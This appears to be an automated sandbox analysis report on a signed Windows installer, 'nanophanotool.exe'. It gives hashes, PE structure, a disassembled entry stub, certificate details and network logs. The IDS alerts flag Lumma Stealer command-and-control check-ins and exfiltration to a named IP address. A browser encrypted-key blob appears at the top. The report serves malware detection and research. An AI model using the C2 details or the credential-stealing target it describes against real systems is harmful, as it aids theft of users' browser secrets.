                                                                                                                                                                                                                                        Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnJCnZcjx+RKCPUGkiCBbiAAAAAAIAAAAAABBmAAAAAQAAIAAAAMNzGiDj07aeQn+YLQ2dkfITZ+aHQ0L5HfIq5jeJIhg/AAAAAA6AAAAAAgAAIAAAAHEUCClvSBsam5t3yYAASSed9VC3cZJcIPfVqqzw8PrVMAAAAOGC0s5AnFQu7yFQDGLQSYyp+L0LQ7EyBcNk/DqavTSJJQp6ooZ2vszP+P+Q80p8/0AAAAAYxJaJV2idVGEynu6epoM4ZFe4f0QyaKPeKoKAdJ0DaGdbBx9+ctRAiJavvrmGdGP8iGjwd+o8b9giEaNx0ZEJ"}}
                                                                                                                                                                                                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                                                                                                                        Entropy (8bit):7.999986499150029
                                                                                                                                                                                                                                        TrID:
                                                                                                                                                                                                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                        • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                        File name:nanophanotool.exe
                                                                                                                                                                                                                                        File size:64'853'056 bytes
                                                                                                                                                                                                                                        MD5:6ae17b0bddda685eaa622cef4ba2e805
                                                                                                                                                                                                                                        SHA1:8139f07b57a1d71b60d32cba52167aa824afad2a
                                                                                                                                                                                                                                        SHA256:cd207b81505f13d46d94b08fb5130ddae52bd1748856e6b474688e590933a718
                                                                                                                                                                                                                                        SHA512:e5e6e214e83170e63c79557a3bf57f90a249ad826b901773b67c3d532bdaff945e215a7991cb5a30df4dfba582b5f068fcc5b851f96e76b0175b83643ced17a3
                                                                                                                                                                                                                                        SSDEEP:1572864:VjddBnskvv+xG60c7ppBIF5IYRgQNWzMJM4Hz:NBnPvvt3cNjwIknVJzz
                                                                                                                                                                                                                                        TLSH:97E733DA501FC487F237BC789912F2FFD8BB4AE9576404A64227090EF4BD3915C6A638
                                                                                                                                                                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@.
                                                                                                                                                                                                                                        Icon Hash:072b9152b6f16913
                                                                                                                                                                                                                                        Entrypoint:0x40338f
                                                                                                                                                                                                                                        Entrypoint Section:.text
                                                                                                                                                                                                                                        Digitally signed:true
                                                                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                                                                        Subsystem:windows gui
                                                                                                                                                                                                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                                                                                                                                        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                        Time Stamp:0x5C157F86 [Sat Dec 15 22:26:14 2018 UTC]
                                                                                                                                                                                                                                        TLS Callbacks:
                                                                                                                                                                                                                                        CLR (.Net) Version:
                                                                                                                                                                                                                                        OS Version Major:4
                                                                                                                                                                                                                                        OS Version Minor:0
                                                                                                                                                                                                                                        File Version Major:4
                                                                                                                                                                                                                                        File Version Minor:0
                                                                                                                                                                                                                                        Subsystem Version Major:4
                                                                                                                                                                                                                                        Subsystem Version Minor:0
                                                                                                                                                                                                                                        Import Hash:b34f154ec913d2d2c435cbd644e91687
                                                                                                                                                                                                                                        Signature Valid:true
                                                                                                                                                                                                                                        Signature Issuer:CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
                                                                                                                                                                                                                                        Signature Validation Error:The operation completed successfully
                                                                                                                                                                                                                                        Error Number:0
                                                                                                                                                                                                                                        Not Before, Not After
                                                                                                                                                                                                                                        • 04/12/2024 09:20:39 05/12/2025 09:20:39
                                                                                                                                                                                                                                        Subject Chain
                                                                                                                                                                                                                                        • CN=AZALEA LLC, O=AZALEA LLC, STREET="Kuskovskaya st, 20A premises 49g", L=Moscow, S=Moscow, C=RU, OID.1.3.6.1.4.1.311.60.2.1.2=Moscow, OID.1.3.6.1.4.1.311.60.2.1.3=RU, SERIALNUMBER=1247700738108, OID.2.5.4.15=Private Organization
                                                                                                                                                                                                                                        Version:3
                                                                                                                                                                                                                                        Thumbprint MD5:5895C4A590F42CC1031C8BAA7D8E0020
                                                                                                                                                                                                                                        Thumbprint SHA-1:686B7EBBA606303B5085633FCAA0685272B4D9B9
                                                                                                                                                                                                                                        Thumbprint SHA-256:03675551D2AC02CAD74A4C1AD6D33B3711D707337B90EB5AC27F21240DBC6917
                                                                                                                                                                                                                                        Serial:70093AF339876742820D7941
                                                                                                                                                                                                                                        Instruction
                                                                                                                                                                                                                                        sub esp, 000002D4h
                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                        push esi
                                                                                                                                                                                                                                        push edi
                                                                                                                                                                                                                                        push 00000020h
                                                                                                                                                                                                                                        pop edi
                                                                                                                                                                                                                                        xor ebx, ebx
                                                                                                                                                                                                                                        push 00008001h
                                                                                                                                                                                                                                        mov dword ptr [esp+14h], ebx
                                                                                                                                                                                                                                        mov dword ptr [esp+10h], 0040A2E0h
                                                                                                                                                                                                                                        mov dword ptr [esp+1Ch], ebx
                                                                                                                                                                                                                                        call dword ptr [004080A8h]
                                                                                                                                                                                                                                        call dword ptr [004080A4h]
                                                                                                                                                                                                                                        and eax, BFFFFFFFh
                                                                                                                                                                                                                                        cmp ax, 00000006h
                                                                                                                                                                                                                                        mov dword ptr [0047AEECh], eax
                                                                                                                                                                                                                                        je 00007FEFB4FE8D83h
                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                        call 00007FEFB4FEC035h
                                                                                                                                                                                                                                        cmp eax, ebx
                                                                                                                                                                                                                                        je 00007FEFB4FE8D79h
                                                                                                                                                                                                                                        push 00000C00h
                                                                                                                                                                                                                                        call eax
                                                                                                                                                                                                                                        mov esi, 004082B0h
                                                                                                                                                                                                                                        push esi
                                                                                                                                                                                                                                        call 00007FEFB4FEBFAFh
                                                                                                                                                                                                                                        push esi
                                                                                                                                                                                                                                        call dword ptr [00408150h]
                                                                                                                                                                                                                                        lea esi, dword ptr [esi+eax+01h]
                                                                                                                                                                                                                                        cmp byte ptr [esi], 00000000h
                                                                                                                                                                                                                                        jne 00007FEFB4FE8D5Ch
                                                                                                                                                                                                                                        push 0000000Ah
                                                                                                                                                                                                                                        call 00007FEFB4FEC008h
                                                                                                                                                                                                                                        push 00000008h
                                                                                                                                                                                                                                        call 00007FEFB4FEC001h
                                                                                                                                                                                                                                        push 00000006h
                                                                                                                                                                                                                                        mov dword ptr [0047AEE4h], eax
                                                                                                                                                                                                                                        call 00007FEFB4FEBFF5h
                                                                                                                                                                                                                                        cmp eax, ebx
                                                                                                                                                                                                                                        je 00007FEFB4FE8D81h
                                                                                                                                                                                                                                        push 0000001Eh
                                                                                                                                                                                                                                        call eax
                                                                                                                                                                                                                                        test eax, eax
                                                                                                                                                                                                                                        je 00007FEFB4FE8D79h
                                                                                                                                                                                                                                        or byte ptr [0047AEEFh], 00000040h
                                                                                                                                                                                                                                        push ebp
                                                                                                                                                                                                                                        call dword ptr [00408044h]
                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                        call dword ptr [004082A0h]
                                                                                                                                                                                                                                        mov dword ptr [0047AFB8h], eax
                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                        lea eax, dword ptr [esp+34h]
                                                                                                                                                                                                                                        push 000002B4h
                                                                                                                                                                                                                                        push eax
                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                        push 00440208h
                                                                                                                                                                                                                                        call dword ptr [00408188h]
                                                                                                                                                                                                                                        push 0040A2C8h
                                                                                                                                                                                                                                        Programming Language:
                                                                                                                                                                                                                                        • [EXP] VC++ 6.0 SP5 build 8804
                                                                                                                                                                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x86100xa0.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x10b0000x2ca8.rsrc
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x3dd6b480x28f8
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                                                                                                                                                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                        .text0x10000x66270x68007618d4c0cd8bb67ea9595b4266b3a91fFalse0.6646259014423077data6.450282348506287IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .rdata0x80000x14a20x1600eecac1fed9cc6b447d50940d178404d8False0.4405184659090909data5.025178929113415IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .data0xa0000x70ff80x600db8f31a08a2242d80c29e1f9500c6527False0.5182291666666666data4.037117731448378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                        .ndata0x7b0000x900000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                        .rsrc0x10b0000x2ca80x2e00a7d7d77701aea45467193beebfbad6d7False0.8681216032608695data7.413636800939004IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                        RT_ICON0x10b1d80x22d1PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9978682822843038
                                                                                                                                                                                                                                        RT_DIALOG0x10d4b00x100dataEnglishUnited States0.5234375
                                                                                                                                                                                                                                        RT_DIALOG0x10d5b00xf8dataEnglishUnited States0.6330645161290323
                                                                                                                                                                                                                                        RT_DIALOG0x10d6a80x60dataEnglishUnited States0.7291666666666666
                                                                                                                                                                                                                                        RT_GROUP_ICON0x10d7080x14dataEnglishUnited States1.05
                                                                                                                                                                                                                                        RT_VERSION0x10d7200x244dataEnglishUnited States0.5086206896551724
                                                                                                                                                                                                                                        RT_MANIFEST0x10d9680x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795
                                                                                                                                                                                                                                        DLLImport
                                                                                                                                                                                                                                        KERNEL32.dllSetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
                                                                                                                                                                                                                                        USER32.dllGetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
                                                                                                                                                                                                                                        GDI32.dllSelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                                                                                                                                                                                                        SHELL32.dllSHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
                                                                                                                                                                                                                                        ADVAPI32.dllAdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
                                                                                                                                                                                                                                        COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                                                                                                                                                                                                        ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance
                                                                                                                                                                                                                                        Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                                        EnglishUnited States
                                                                                                                                                                                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                                                        2024-12-10T10:19:54.713414+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449973172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:19:55.485439+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.449973172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:19:55.485439+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.449973172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:19:56.743218+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449979172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:19:57.475638+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.449979172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:19:57.475638+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.449979172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:19:58.907836+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449985172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:20:01.351317+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449991172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:20:03.402190+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449997172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:20:05.759691+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.450003172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:20:06.776654+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.450003172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:20:08.341833+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.450009172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:20:12.615690+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.450020172.67.163.8443TCP
                                                                                                                                                                                                                                        2024-12-10T10:20:13.356785+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.450020172.67.163.8443TCP
                                                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.619587898 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.619637012 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.619803905 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.620280981 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.620294094 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.316694975 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.317630053 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.317662954 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.318696976 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.319062948 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.322326899 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.322387934 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.371170044 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.371186018 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:39.418015957 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.373385906 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.373440981 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.373476982 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.373527050 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.373533964 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.373545885 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.373578072 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.386828899 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.386878967 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.386890888 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.392693996 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.392741919 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.392749071 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.405386925 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.405448914 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.405457020 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.449229956 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.492938042 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.493076086 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.493143082 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.493160963 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.543034077 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.565614939 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.570096970 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.570153952 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.570210934 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.570230007 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.570271969 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.571149111 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.571329117 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.571367979 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.571422100 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.975649118 CET49740443192.168.2.4142.250.181.68
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:40.975675106 CET44349740142.250.181.68192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.265933990 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.265999079 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.266079903 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.266940117 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.266957045 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.985790014 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.985826969 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.985896111 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.986202955 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.986216068 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.479027033 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.479671001 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.479698896 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.480792999 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.480864048 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.485059023 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.485204935 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.485706091 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.485712051 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.636842966 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.908665895 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.908745050 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.912316084 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.914194107 CET49745443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:51.914207935 CET44349745162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.206557035 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.206939936 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.206970930 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.208358049 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.208415031 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.208959103 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.209024906 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.261019945 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.261040926 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:52.449325085 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:02.401837111 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:02.521251917 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:02.521331072 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:02.522126913 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:02.641406059 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909260988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909331083 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909343004 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909394026 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909403086 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909415960 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909426928 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909437895 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909454107 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909475088 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909610033 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909620047 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909631014 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909653902 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:03.909681082 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.029136896 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.029155016 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.029279947 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.101355076 CET8049747159.100.18.192192.168.2.4
